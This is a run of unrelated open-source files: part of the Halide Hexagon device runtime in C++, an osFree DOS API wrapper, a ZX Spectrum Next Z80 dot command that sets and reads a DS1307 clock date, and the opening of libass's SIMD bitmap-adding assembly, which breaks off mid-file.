"\n"; (*state)->module = 0; (*state)->size = 0; (*state)->next = state_list; state_list = *state; } // Create the module itself if necessary. if (!(*state)->module) { debug(user_context) << " halide_remote_initialize_kernels -> "; halide_hexagon_handle_t module = 0; result = remote_initialize_kernels(code, code_size, &module); poll_log(user_context); if (result == 0) { debug(user_context) << " " << module << "\n"; (*state)->module = module; (*state)->size = code_size; } else { debug(user_context) << " " << result << "\n"; error(user_context) << "Initialization of Hexagon kernels failed\n"; } } else { debug(user_context) << " re-using existing module " << (*state)->module << "\n"; } #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return result != 0 ? -1 : 0; } namespace { // Prepare an array of remote_buffer arguments, mapping buffers if // necessary. Only arguments with flags&flag_mask == flag_value are // added to the mapped_args array. Returns the number of arguments // mapped, or a negative number on error. WEAK int map_arguments(void *user_context, int arg_count, uint64_t arg_sizes[], void *args[], int arg_flags[], int flag_mask, int flag_value, remote_buffer *mapped_args) { int mapped_count = 0; for (int i = 0; i < arg_count; i++) { if ((arg_flags[i] & flag_mask) != flag_value) continue; remote_buffer &mapped_arg = mapped_args[mapped_count++]; if (arg_flags[i] != 0) { // This is a buffer, map it and put the mapped buffer into // the result. halide_assert(user_context, arg_sizes[i] == sizeof(uint64_t)); uint64_t device_handle = halide_get_device_handle(*(uint64_t *)args[i]); ion_device_handle *ion_handle = reinterpret<ion_device_handle *>(device_handle); mapped_arg.data = reinterpret_cast<uint8_t*>(ion_handle->buffer); mapped_arg.dataLen = ion_handle->size; } else { // This is a scalar, just put the pointer/size in the result. mapped_arg.data = (uint8_t*)args[i]; mapped_arg.dataLen = arg_sizes[i]; } } return mapped_count; } } // namespace WEAK int halide_hexagon_run(void *user_context, void *state_ptr, const char *name, halide_hexagon_handle_t* function, uint64_t arg_sizes[], void *args[], int arg_flags[]) { halide_assert(user_context, state_ptr != NULL); halide_assert(user_context, function != NULL); int result = init_hexagon_runtime(user_context); if (result != 0) return result; halide_hexagon_handle_t module = state_ptr ? ((module_state *)state_ptr)->module : 0; debug(user_context) << "Hexagon: halide_hexagon_run (" << "user_context: " << user_context << ", " << "state_ptr: " << state_ptr << " (" << module << "), " << "name: " << name << ", " << "function: " << function << " (" << *function << "))\n"; // If we haven't gotten the symbol for this function, do so now. if (*function == 0) { debug(user_context) << " halide_hexagon_remote_get_symbol " << name << " -> "; *function = remote_get_symbol(module, name, strlen(name) + 1); poll_log(user_context); debug(user_context) << " " << *function << "\n"; if (*function == 0) { error(user_context) << "Failed to find function " << name << " in module.\n"; return -1; } } // Allocate some remote_buffer objects on the stack. int arg_count = 0; while(arg_sizes[arg_count] > 0) arg_count++; remote_buffer *mapped_buffers = (remote_buffer *)__builtin_alloca(arg_count * sizeof(remote_buffer)); // Map the arguments. // First grab the input buffers (bit 0 of flags is set). remote_buffer *input_buffers = mapped_buffers; int input_buffer_count = map_arguments(user_context, arg_count, arg_sizes, args, arg_flags, 0x3, 0x1, input_buffers); if (input_buffer_count < 0) return input_buffer_count; // Then the output buffers (bit 1 of flags is set). remote_buffer *output_buffers = input_buffers + input_buffer_count; int output_buffer_count = map_arguments(user_context, arg_count, arg_sizes, args, arg_flags, 0x2, 0x2, output_buffers); if (output_buffer_count < 0) return output_buffer_count; // And the input scalars (neither bits 0 or 1 of flags is set). remote_buffer *input_scalars = output_buffers + output_buffer_count; int input_scalar_count = map_arguments(user_context, arg_count, arg_sizes, args, arg_flags, 0x3, 0x0, input_scalars); if (input_scalar_count < 0) return input_scalar_count; #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif // If remote profiling is supported, tell the profiler to call // get_remote_profiler_func to retrieve the current // func. Otherwise leave it alone - the cost of remote running // will be billed to the calling Func. if (remote_poll_profiler_state) { halide_profiler_get_state()->get_remote_profiler_state = get_remote_profiler_state; } // Call the pipeline on the device side. debug(user_context) << " halide_hexagon_remote_run -> "; result = remote_run(module, *function, input_buffers, input_buffer_count, output_buffers, output_buffer_count, input_scalars, input_scalar_count); poll_log(user_context); debug(user_context) << " " << result << "\n"; if (result != 0) { error(user_context) << "Hexagon pipeline failed.\n"; return result; } halide_profiler_get_state()->get_remote_profiler_state = NULL; #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return result != 0 ? -1 : 0; } WEAK int halide_hexagon_device_release(void *user_context) { debug(user_context) << "Hexagon: halide_hexagon_device_release (user_context: " << user_context << ")\n"; ScopedMutexLock lock(&thread_lock); // Release all of the remote side modules. module_state *state = state_list; while (state) { if (state->module) { debug(user_context) << " halide_remote_release_kernels " << state << " (" << state->module << ") -> "; int result = remote_release_kernels(state->module, state->size); poll_log(user_context); debug(user_context) << " " << result << "\n"; state->module = 0; state->size = 0; } state = state->next; } state_list = NULL; return 0; } // When allocations for Hexagon are at least as large as this // threshold, use an ION allocation (to get zero copy). If the // allocation is smaller, use a standard allocation instead. This is // done because allocating an entire page for a small allocation is // wasteful, and the copy is not significant. Additionally, the // FastRPC interface can probably do a better job with many small // arguments than simply mapping the pages. static const int min_ion_allocation_size = 4096; WEAK int halide_hexagon_device_malloc(void *user_context, buffer_t *buf) { int result = init_hexagon_runtime(user_context); if (result != 0) return result; debug(user_context) << "Hexagon: halide_hexagon_device_malloc (user_context: " << user_context << ", buf: " << buf << ")\n"; if (buf->dev) { // This buffer already has a device allocation return 0; } size_t size = buf_size(buf); halide_assert(user_context, size != 0); // Hexagon code generation generates clamped ramp loads in a way // that requires up to an extra vector beyond the end of the // buffer to be legal to access. size += 128; halide_assert(user_context, buf->stride[0] >= 0 && buf->stride[1] >= 0 && buf->stride[2] >= 0 && buf->stride[3] >= 0); debug(user_context) << " allocating buffer of " << (uint64_t)size << " bytes, " << "extents: " << buf->extent[0] << "x" << buf->extent[1] << "x" << buf->extent[2] << "x" << buf->extent[3] << " " << "strides: " << buf->stride[0] << "x" << buf->stride[1] << "x" << buf->stride[2] << "x" << buf->stride[3] << " " << "(" << buf->elem_size << " bytes per element)\n"; #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif void *ion; if (size >= min_ion_allocation_size) { debug(user_context) << " host_malloc len=" << (uint64_t)size << " -> "; ion = host_malloc(size); debug(user_context) << " " << ion << "\n"; if (!ion) { error(user_context) << "host_malloc failed\n"; return -1; } } else { debug(user_context) << " halide_malloc size=" << (uint64_t)size << " -> "; ion = halide_malloc(user_context, size); debug(user_context) << " " << ion << "\n"; if (!ion) { error(user_context) << "halide_malloc failed\n"; return -1; } } int err = halide_hexagon_wrap_device_handle(user_context, buf, ion, size); if (err != 0) { if (size >= min_ion_allocation_size) { host_free(ion); } else { halide_free(user_context, ion); } return err; } if (!buf->host) { // If the host pointer has also not been allocated yet, set it to // the ion buffer. This buffer will be zero copy. buf->host = (uint8_t *)ion; debug(user_context) << " host <- " << buf->host << "\n"; } #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK int halide_hexagon_device_free(void *user_context, buffer_t* buf) { debug(user_context) << "Hexagon: halide_hexagon_device_free (user_context: " << user_context << ", buf: " << buf << ")\n"; #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif uint64_t size = halide_hexagon_get_device_size(user_context, buf); void *ion = halide_hexagon_detach_device_handle(user_context, buf); if (size >= min_ion_allocation_size) { debug(user_context) << " host_free ion=" << ion << "\n"; host_free(ion); } else { debug(user_context) << " halide_free ion=" << ion << "\n"; halide_free(user_context, ion); } if (buf->host == ion) { // If we also set the host pointer, reset it. buf->host = NULL; debug(user_context) << " host <- 0x0\n"; } #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK int halide_hexagon_copy_to_device(void *user_context, buffer_t* buf) { int err = halide_hexagon_device_malloc(user_context, buf); if (err) { return err; } debug(user_context) << "Hexagon: halide_hexagon_copy_to_device (user_context: " << user_context << ", buf: " << buf << ")\n"; #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif halide_assert(user_context, buf->host && buf->dev); device_copy c = make_host_to_device_copy(buf); // Get the descriptor associated with the ion buffer. c.dst = reinterpret<uintptr_t>(halide_hexagon_get_device_handle(user_context, buf)); c.copy_memory(user_context); #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK int halide_hexagon_copy_to_host(void *user_context, buffer_t* buf) { debug(user_context) << "Hexagon: halide_hexagon_copy_to_host (user_context: " << user_context << ", buf: " << buf << ")\n"; #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif halide_assert(user_context, buf->host && buf->dev); device_copy c = make_device_to_host_copy(buf); // Get the descriptor associated with the ion buffer. c.src = reinterpret<uintptr_t>(halide_hexagon_get_device_handle(user_context, buf)); c.copy_memory(user_context); #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK int halide_hexagon_device_sync(void *user_context, struct buffer_t *) { debug(user_context) << "Hexagon: halide_hexagon_device_sync (user_context: " << user_context << ")\n"; // Nothing to do. return 0; } WEAK int halide_hexagon_wrap_device_handle(void *user_context, struct buffer_t *buf, void *ion_buf, uint64_t size) { halide_assert(user_context, buf->dev == 0); if (buf->dev != 0) { return -2; } ion_device_handle *handle = new ion_device_handle(); if (!handle) { return -1; } handle->buffer = ion_buf; handle->size = size; buf->dev = halide_new_device_wrapper(reinterpret<uint64_t>(handle), &hexagon_device_interface); if (buf->dev == 0) { delete handle; return -1; } return 0; } WEAK void *halide_hexagon_detach_device_handle(void *user_context, struct buffer_t *buf) { if (buf->dev == NULL) { return NULL; } halide_assert(user_context, halide_get_device_interface(buf->dev) == &hexagon_device_interface); ion_device_handle *handle = reinterpret<ion_device_handle *>(halide_get_device_handle(buf->dev)); void *ion_buf = handle->buffer; delete handle; halide_delete_device_wrapper(buf->dev); buf->dev = 0; return ion_buf; } WEAK void *halide_hexagon_get_device_handle(void *user_context, struct buffer_t *buf) { if (buf->dev == NULL) { return NULL; } halide_assert(user_context, halide_get_device_interface(buf->dev) == &hexagon_device_interface); ion_device_handle *handle = reinterpret<ion_device_handle *>(halide_get_device_handle(buf->dev)); return handle->buffer; } WEAK uint64_t halide_hexagon_get_device_size(void *user_context, struct buffer_t *buf) { if (buf->dev == NULL) { return 0; } halide_assert(user_context, halide_get_device_interface(buf->dev) == &hexagon_device_interface); ion_device_handle *handle = reinterpret<ion_device_handle *>(halide_get_device_handle(buf->dev)); return handle->size; } WEAK int halide_hexagon_device_and_host_malloc(void *user_context, struct buffer_t *buf) { debug(user_context) << "halide_hexagon_device_and_host_malloc called.\n"; int result = halide_hexagon_device_malloc(user_context, buf); if (result == 0) { buf->host = (uint8_t *)halide_hexagon_get_device_handle(user_context, buf); } return result; } WEAK int halide_hexagon_device_and_host_free(void *user_context, struct buffer_t *buf) { debug(user_context) << "halide_hexagon_device_and_host_free called.\n"; halide_hexagon_device_free(user_context, buf); buf->host = NULL; return 0; } WEAK int halide_hexagon_power_hvx_on(void *user_context) { int result = init_hexagon_runtime(user_context); if (result != 0) return result; debug(user_context) << "halide_hexagon_power_hvx_on\n"; if (!remote_power_hvx_on) { // The function is not available in this version of the // runtime, this runtime always powers HVX on. return 0; } #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif debug(user_context) << " remote_power_hvx_on -> "; result = remote_power_hvx_on(); debug(user_context) << " " << result << "\n"; if (result != 0) { error(user_context) << "remote_power_hvx_on failed.\n"; return result; } #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK int halide_hexagon_power_hvx_off(void *user_context) { int result = init_hexagon_runtime(user_context); if (result != 0) return result; debug(user_context) << "halide_hexagon_power_hvx_off\n"; if (!remote_power_hvx_off) { // The function is not available in this version of the // runtime, this runtime always powers HVX on. return 0; } #ifdef DEBUG_RUNTIME uint64_t t_before = halide_current_time_ns(user_context); #endif debug(user_context) << " remote_power_hvx_off -> "; result = remote_power_hvx_off(); debug(user_context) << " " << result << "\n"; if (result != 0) { error(user_context) << "remote_power_hvx_off failed.\n"; return result; } #ifdef DEBUG_RUNTIME uint64_t t_after = halide_current_time_ns(user_context); debug(user_context) << " Time: " << (t_after - t_before) / 1.0e6 << " ms\n"; #endif return 0; } WEAK void halide_hexagon_power_hvx_off_as_destructor(void *user_context, void * /* obj */) { halide_hexagon_power_hvx_off(user_context); } WEAK const halide_device_interface *halide_hexagon_device_interface() { return &hexagon_device_interface; } WEAK void* halide_hexagon_host_get_symbol(void* user_context, const char *name) { // The "support library" for Hexagon is essentially a way to delegate Hexagon // code execution based on the runtime; devices with Hexagon hardware will // simply provide conduits for execution on that hardware, while test/desktop/etc // environments can instead connect a simulator via the API. // // By default, we look for "libhalide_hexagon_host.so" for this library // (which is a bit of a confusing name: it's loaded and run on the host // but contains functions for both host and remote usage); however, the // intent of the halide_hexagon_host_get_symbol() bottleneck is to allow // for runtimes that statically link the necessary support code if // desired, which can simplify build and link requirements in some environments. const char * const host_lib_name = "libhalide_hexagon_host.so"; static void *host_lib = halide_load_library(host_lib_name); if (!host_lib) { error(user_context) << host_lib_name << " not found.\n"; return NULL; } // If name isn't found, don't error: the name might not be required. Let the caller decide. return halide_get_library_symbol(host_lib, name); } namespace { __attribute__((destructor)) WEAK void halide_hexagon_cleanup() { halide_hexagon_device_release(NULL); } } } // extern "C" linkage namespace Halide { namespace Runtime { namespace Internal { namespace Hexagon { WEAK halide_device_interface hexagon_device_interface = { halide_use_jit_module, halide_release_jit_module, halide_hexagon_device_malloc, halide_hexagon_device_free, halide_hexagon_device_sync, halide_hexagon_device_release, halide_hexagon_copy_to_host, halide_hexagon_copy_to_device, halide_hexagon_device_and_host_malloc, halide_hexagon_device_and_host_free, }; }}}} // namespace Halide::Runtime::Internal::Hexagon
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosTimerStop DOS wrapper ; ; (c) osFree Project 2022, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; ; ;*/ .8086 ; Helpers INCLUDE helpers.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @PROLOG DOSTIMERSTOP @START DOSTIMERSTOP XOR AX, AX EXIT: @EPILOG DOSTIMERSTOP _TEXT ENDS END
; ; TBBlue / ZX Spectrum Next project ; Copyright (c) 2010-2018 ; ; RTC DATE - Victor Trucco and Tim Gilberts ; ; All rights reserved ; ; Redistribution and use in source and synthezised forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; ; Redistributions in synthesized form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; Neither the name of the author nor the names of other contributors may ; be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS CODE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; You are responsible for any legal issues arising from your use of this code. ; ; ------------------------------------------------------------------------------- ; ; .DATE for ESXDOS and NextZXOS ; ; - Return the date saved in DS1307 ; - Save the date in DS1307 ; ; Updated by Tim Gilberts Dec 2017 to standardise with TIME and RTC.SYS ; V2.0 Added use of quotes for consistency with TIME on setting the clock. ; and bugfix for dates > 2079 along with some basic checks, support of RTC signature. ; ; Built using Zeus zeusemulate "48K", "RAW", "NOROM" ; because that makes it easier to assemble dot commands; zoSupportStringEscapes = true ; Download Zeus.exe from http://www.desdes.com/products/oldfiles/ optionsize 5 CSpect optionbool 15, -15, "CSpect", false ; Option in Zeus GUI to launch CSpect UploadNext optionbool 80, -15, "Next", false ; Copy dot command to Next FlashAir card //ErrDebug optionbool 130, -15, "Debug", false ; Print errors onscreen and halt instead of returning to BASIC org 0x2000 ; PORT equ 0x3B ; PORT_CLOCK equ 0x10 ; 0x103b PORT_DATA equ 0x11 ; 0x113b MAIN: //Freeze(1,2) ld a,h ; or l ; JP z,READ_DATE ; if we dont have parameters it is a read command LD A,(HL) ; CP '-' ; options flag (anything gives the help) JP Z,end_error ; CP 34 ; Date should be quoted JP NZ,end_error ; INC HL ; ; --DATE IN MONTH CALL CONVERT_DIGITS ; JP c,end_error ; return to basic with error message LD (DATE),a ; store in the table for diag after if needed OR A ; JP Z,end_error ; ; TODO check for >31 (need to calculate number for that) inc HL ; separator (can be anything really) ; --MONTH inc HL ; CALL CONVERT_DIGITS ; jr c,end_error ; return to basic with error message LD (MON),a ; store in the table OR A ; JR Z,end_error ; ; TODO check for > 12 inc HL ; separator inc HL ; 2 LD A,(HL) ; CP '2' ; JR NZ,end_error ; inc HL ; 0 LD A,(HL) ; CP '0' ; JR NZ,end_error ; ; YEAR - no check as can be 00-99 inc HL ; CALL CONVERT_DIGITS ; jr c,end_error ; return to basic with error message LD (YEA),a ; store in the table INC HL ; LD A,(HL) ; Date should be quoted CP A,34 ; JR NZ,end_error ; ; --------------------------------------------------- ; Talk to DS1307 call START_SEQUENCE ; ld l,0xD0 ; call SEND_DATA ; ld l,0x04 ; start to send at reg 0x04 (date) call SEND_DATA ; ; --------------------------------------------------- ld hl, (DATE) ; call SEND_DATA ; ld hl, (MON) ; call SEND_DATA ; ld hl, (YEA) ; call SEND_DATA ; ; STOP_SEQUENCE CALL SDA0 ; CALL SCL1 ; CALL SDA1 ; ; --------------------------------------------------- ; Talk to DS1307 WRITE_SIG: call START_SEQUENCE ; ld l,0xD0 ; call SEND_DATA ; ld l,0x3E ; start to send at reg 0x3E (sig) call SEND_DATA ; ; --------------------------------------------------- LD L,'Z' ; call SEND_DATA ; LD L,'X' ; call SEND_DATA ; ; STOP_SEQUENCE CALL SDA0 ; CALL SCL1 ; CALL SDA1 ; ; ------------------------------------------------- label_end: ; it´s ok, lets show the current date JR READ_DATE ; ret ; ; return to basic with an error message diag_code: call prt_hex ; call print_newline ; end_error: LD HL, MsgUsage ; CALL PrintMsg ; ret ; CONVERT_DIGITS: LD a,(HL) ; ; test ascii for 0 to 9 CP 48 ; jr C,CHAR_ERROR ; CP 58 ; jr NC,CHAR_ERROR ; or a ; clear the carry sub 48 ; convert asc to number ; first digit in upper bits SLA A ; SLA A ; SLA A ; SLA A ; LD b,a ; store in b ; next digit or seperator for 0-9 case. inc HL ; LD a,(HL) ; CP '/' ; JR Z,SINGLE_DIGIT ; ; test ascii for 0 to 9 CP 48 ; jr C,CHAR_ERROR ; CP 58 ; jr NC,CHAR_ERROR ; OR A ; sub 48 ; convert asc to number and 0x0f ; get just the lower bits or b ; combine with first digit or a ; clear the carry ret ; SINGLE_DIGIT: DEC HL ; LD A,(HL) ; OR A ; Clear Carry SUB 48 ; There should be no carry after this. OR A ; RET ; CHAR_ERROR: scf ; set the carry ret ; READ_DATE: ; --------------------------------------------------- ; Talk to DS1307 and request all the regisers and 0x3e 0x3f call START_SEQUENCE ; ld l,0xD0 ; call SEND_DATA ; ld l,0x3E ; Start at last two bytes to get signature call SEND_DATA ; call START_SEQUENCE ; ld l,0xD1 ; call SEND_DATA ; ; --------------------------------------------------- ; point to the first reg in table LD HL,SIG ; ; there are 7 regs to read and 2 bytes of signature LD e, 9 ; loop_read: call READ ; ; point to next reg inc l ; ; dec number of regs dec e ; jr z, end_read ; ; if don´t finish, send as ACK and loop call SEND_ACK ; jr loop_read ; ; we just finished to read the I2C, send a NACK and STOP end_read: call SEND_NACK ; ; STOP_SEQUENCE: CALL SDA0 ; CALL SCL1 ; CALL SDA1 ; ; ----------------------------------------------------------- OR A ; Clear Carry LD HL,(SIG) ; LD DE,585Ah ; ZX=Sig SBC HL,DE ; SCF ; Flag an error JR NZ,NO_RTC_FOUND ; ; get the date LD HL, DATE ; LD a,(HL) ; call NUMBER_TO_ASC ; ld a,b ; LD (day_txt),a ; ld a,c ; LD (day_txt + 1),a ; ; get the month inc HL ; LD a,(HL) ; call NUMBER_TO_ASC ; ld a,b ; LD (mon_txt),a ; ld a,c ; LD (mon_txt + 1),a ; ; get the year inc HL ; LD a,(HL) ; call NUMBER_TO_ASC ; ld a,b ; LD (yea_txt),a ; ld a,c ; LD (yea_txt + 1),a ; ld hl,MsgDate ; CALL PrintMsg ; ret ; NO_RTC_FOUND: LD HL,NoRTCmessage ; CALL PrintMsg ; RET ; NUMBER_TO_ASC: LD a,(HL) ; ; get just the upper bits SRL A ; SRL A ; SRL A ; SRL A ; add 48 ; convert number to ASCII LD b,a ; ; now the lower bits LD a,(HL) ; and 0x0f ; just the lower bits add 48 ; convert number to ASCII LD c,a ; ret ; LOAD_PREPARE_AND_MULT: ld a,(HL) ; ; and 0x7F ; clear the bit 7 PREPARE_AND_MULT: SRL a ; SRL a ; SRL a ; SRL a ; CALL X10 ; ld b,a ; ld a,(HL) ; and 0x0F ; add a,b ; ret ; SEND_DATA: ; 8 bits ld h,8 ; SEND_DATA_LOOP: ; next bit RLC L ; ld a,L ; CALL SDA ; call PULSE_CLOCK ; dec h ; jr nz, SEND_DATA_LOOP ; WAIT_ACK: ; free the line to wait for the ACK CALL SDA1 ; call PULSE_CLOCK ; ret ; READ: ; free the data line //CSBreak() CALL SDA1 ; ; lets read 8 bits ld D,8 ; READ_LOOP: ; next bit rlc (hl) ; ; clock is high CALL SCL1 ; ; read the bit ld b,PORT_DATA ; in a,(c) ; ; is it 1? and 1 ; jr nz, set_bit ; res 0,(hl) ; jr end_set ; set_bit: set 0,(hl) ; end_set: ; clock is low CALL SCL0 ; dec d ; ; go to next bit jr nz, READ_LOOP ; ; finish the byte read //CSBreak() //CSExit() ret ; SEND_NACK: ld a,1 ; jr SEND_ACK_NACK ; SEND_ACK: xor a ; a=0 SEND_ACK_NACK: CALL SDA ; call PULSE_CLOCK ; ; free the data line CALL SDA1 ; ret ; START_SEQUENCE: ; high in both i2c pins, before begin ld a,1 ; ld c, PORT ; CALL SCL ; CALL SDA ; ; high to low when clock is high CALL SDA0 ; ; low the clock to start sending data CALL SCL ; ret ; SDA0: xor a ; jr SDA ; SDA1: ld a,1 ; SDA: ld b,PORT_DATA ; OUT (c), a ; ret ; SCL0: xor a ; jr SCL ; SCL1: ld a,1 ; SCL: ld b,PORT_CLOCK ; OUT (c), a ; ret ; PULSE_CLOCK: CALL SCL1 ; CALL SCL0 ; ret ; ; input A, output A = A * 10 X10: ld b,a ; add a,a ; add a,a ; add a,a ; add a,b ; add a,b ; ret ; PrintMsg: ld a,(hl) ; or a ; ret z ; rst 10h ; inc hl ; jr PrintMsg ; ; --------------------------------------------- openscreen: ld a,2 ; jp $1601 ; sprint: pop hl ; call print ; jp (hl) ; print: ld a,(hl) ; inc hl ; or a ; ret z ; bit 7,a ; ret nz ; rst 16 ; jr print ; print_newline: ld hl,newline ; call print ; ret ; hextab: DEFM "0123456789ABCDEF" ; space: ld a,' ' ; jp 16 ; prt_hex_16: ld a,h ; call prt_hex ; ld a,l ; prt_hex: push af ; rra ; rra ; rra ; rra ; call prt_hex_4 ; pop af ; prt_hex_4: push hl ; and 15 ; add a,hextab&255 ; ld l,a ; adc a,hextab/256 ; sub l ; ld h,a ; ld a,(hl) ; pop hl ; jp 16 ; prt_dec: ld bc,10000 ; call label_dl ; ld bc,1000 ; call label_dl ; ld bc,100 ; call label_dl ; ld bc,10 ; call label_dl ; ld a,l ; add a,'0' ; jp 16 ; label_dl: ld a,'0'-1 ; lp2: inc a ; or a ; sbc hl,bc ; jr nc,lp2 ; add hl,bc ; jp 16 ; str_DE: DEFM "DE : " ; DEFB 0 ; str_BC: DEFM "BC : " ; DEFB 0 ; str_REG: DEFM "RTC : " ; DEFB 0 ; newline: DEFB 13,0 ; NoRTCmessage: DEFM "No valid RTC signature found.",13; DEFM "Try setting date first",13,13,0; MsgDate: DEFB "The date is " ; day_txt: DEFB " " ; slash1: DEFB "/" ; mon_txt: DEFB " " ; slash2: DEFB "/20" ; yea_txt: DEFB " " ; endmsg: DEFB 13,13,0 ; MsgUsage: DEFB "DATE V2.0 usage: ",13 ; DEFB "date <ENTER>",13 ; DEFB "show current date",13,13 ; DEFB "date \"DD/MM/YYYY\" <ENTER>",13; DEFB "set the date",13,13 ; DEFB "Date must be greater than",13; DEFB "or equal to 01/01/2000",13; DEFB "and less than 01/01/2100",13,13,0; SIG: DEFW 0 ; SEC: DEFB 0 ; MIN: DEFB 0 ; HOU: DEFB 0 ; DAY: DEFB 0 ; DATE: DEFB 0 ; MON: DEFB 0 ; YEA: DEFB 0 ; include "macros.asm" Length equ $-MAIN zeusprinthex "Command size: ", Length if zeusver >= 74 zeuserror "Does not run on Zeus v4.00 (TEST ONLY) or above, Get v3.991 available at http://www.desdes.com/products/oldfiles/zeus.exe" endif if (Length > $2000) zeuserror "DOT command is too large to assemble!" endif output_bin "DATE", MAIN, Length if enabled UploadNext output_bin "R:\\dot\\DATE", MAIN, Length endif if enabled CSpect zeusinvoke "cspect.bat" endif
;****************************************************************************** ;* add_bitmaps.asm: SSE2 and x86 add_bitmaps ;****************************************************************************** ;* Copyright (C) 2013 Rodger Combs <rcombs@rcombs.me> ;* ;* This file is part of libass. ;* ;* Permission to use, copy, modify, and distribute this software for any ;* purpose with or without fee is hereby granted, provided that the above ;* copyright notice and this permission notice appear in all copies. ;* ;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ;****************************************************************************** %define HAVE_ALIGNED_STACK 1 %include "x86inc.asm" SECTION_RODATA 32 words_255: dw 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF SECTION .text ;------------------------------------------------------------------------------ ; void add_bitmaps( uint8_t *dst, intptr_t dst_stride, ; uint8_t *src, intptr_t src_stride, ; intptr_t height, intptr_t width ); ;------------------------------------------------------------------------------ INIT_XMM cglobal add_bitmaps_x86, 6,7 .skip_prologue: imul r4, r3 add r4, r2 PUSH r4 mov r4, r3 .height_loop: xor r6, r6 ; x offset .stride_loop: movzx r3, byte [r0 + r6] add r3b, byte [r2 + r6] jnc .continue mov r3b, 0xff .continue: mov byte [r0 + r6], r3b inc r6 cmp r6, r5 jl .stride_loop ; still in scan line add r0, r1 add r2, r4 cmp r2, [rsp] jl .height_loop ADD rsp, gprsize RET %macro ADD_BITMAPS 0 cglobal add_bitmaps, 6,7 .skip_prologue: cmp r5, mmsize %if mmsize == 16 jl add_bitmaps_x86.skip_prologue %else jl add_bitmaps_sse2.skip_prologue %endif %if mmsize == 32 vzeroupper %endif imul r4, r3 add r4, r2 ; last address .height_loop: xor r6, r6 ; x offset .stride_loop: movu m0, [r0 + r6] paddusb m0, [r2 + r6] movu [r0 + r6], m0 add r6, mmsize cmp r6, r5 jl .stride_loop ; still in scan line add r0, r1 add r2, r3 cmp r2, r4 jl .height_loop RET %endmacro INIT_XMM sse2 ADD_BITMAPS INIT_YMM avx2 ADD_BITMAPS ;------------------------------------------------------------------------------ ; void sub_bitmaps( uint8_t *dst, intptr_t dst_stride, ; uint8_t *src, intptr_t src_stride, ; intptr_t height, intptr_t width ); ;------------------------------------------------------------------------------ INIT_XMM cglobal sub_bitmaps_x86, 6,10 .skip_prologue: imul r4, r3 add r4, r2 ; last address PUSH r4 mov r4, r3 .height_loop: xor r6, r6 ; x offset .stride_loop: mov r3b, byte [r0 + r6] sub r3b, byte [r2 + r6] jnc .continue mov r3b, 0x0 .continue: mov byte [r0 + r6], r3b inc r6 cmp r6, r5 jl .stride_loop ; still in scan line add r0, r1 add r2, r4 cmp r2, 